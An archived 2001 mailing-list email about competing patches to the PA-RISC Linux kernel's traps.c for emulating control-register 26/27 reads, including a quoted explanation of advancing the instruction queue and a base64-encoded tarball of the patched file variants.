Content-Disposition: inline


--T4sUOijqQbZv57TR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Just want to make sure I got this right. I've attached:

00-traps.c.orig
01_1-traps.c.quickfix
01_2-traps.c.case18
02-traps.c.case11
03-traps.c.jochen

00-traps.c.orig is the traps.c from -pa27. quickfix is the one that
simply adds a case 18: fall-through (and has worked quite well me for
me).

case18 is Jurij's first patch. case11 is his 2nd patch, which I had to
add in my hand. Then jochen is jochen's additions to that (please check
that I understood you correctly).

I've not included a traps.c with Matthew's code:

	...

	/* Emulate the instruction if the read is from cr27 */
	if (fromcr =3D=3D 26 || fromcr =3D=3D 27) {
		regs->gr[togr] =3D mfctl(fromcr);
		return;
	}
	/* Something else is wrong */

	...

It didn't compile for me and I'm not quite sure how to fix it and still
keep the original meaning intact. :-)

Regards,

Albert

On Sat, 29 Sep 2001, Jochen Friedrich wrote:

> Hi Albert,
>=20
> On Sat, 29 Sep 2001, Albert Strasheim wrote:
>=20
> > > 		if (fromcr =3D=3D 26 || fromcr =3D=3D 27) {
> > > 			regs->gr[togr] =3D mfctl(fromcr);
> > > 			return;
> > > 		}
> >
> > Making this change causes the build to fail:
>=20
> > {standard input}:912: Error: Undefined absolute constant: 'fromcr'.
> > {standard input}:912: Error: Field out of range [0..31] (-1).
> > {standard input}:912: Error: Invalid operands
>=20
> > Jochen suggested that in the case 11 handler, Jurij's
> >
> > regs->gr[togr] =3D regs->cr27;
> >
> > be replaced with
> >
> > regs->iaoq[0] =3D regs->iaoq[1];
> > regs->iaoq[1] =3D regs->iaoq[0] + 4;
>=20
> Not replaced, but added:
>=20
>  		if (fromcr =3D=3D 26) {
>  			regs->gr[togr] =3D mfctl(26);
> 			regs->iaoq[0] =3D regs->iaoq[1];
> 			regs->iaoq[1] =3D regs->iaoq[0] + 4;
>  			return;
>  		}
>  		if (fromcr =3D=3D 27) {
>  			regs->gr[togr] =3D mfctl(27);
> 			regs->iaoq[0] =3D regs->iaoq[1];
> 			regs->iaoq[1] =3D regs->iaoq[0] + 4;
>  			return;
>  		}
>=20
> These commands:
>=20
> regs->iaoq[0] =3D regs->iaoq[1];
> regs->iaoq[1] =3D regs->iaoq[0] + 4;
>=20
> just advance the instruction counter of the PA-RISC CPU, so after
> returning from the trap, the CPU will move on instead of retrying the
> failed op-code (which will, of course, trap again causing an infinite
> loop)
>=20
> Cheers,
> Jochen

--T4sUOijqQbZv57TR
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="traps.tar.gz"
Content-Transfer-Encoding: base64

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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

--T4sUOijqQbZv57TR--

--JYK4vJDZwFMowpUq
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tbRYDg+hOeRZtkMRAqMZAJ9m00TEVG/Ui8qs5FF2vdR+PYniRgCgiotj
YWT9mBFkK3r0BrdE2KzgHiI=
=K5k3
-----END PGP SIGNATURE-----

--JYK4vJDZwFMowpUq--




From - Thu Nov 08 21:19:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
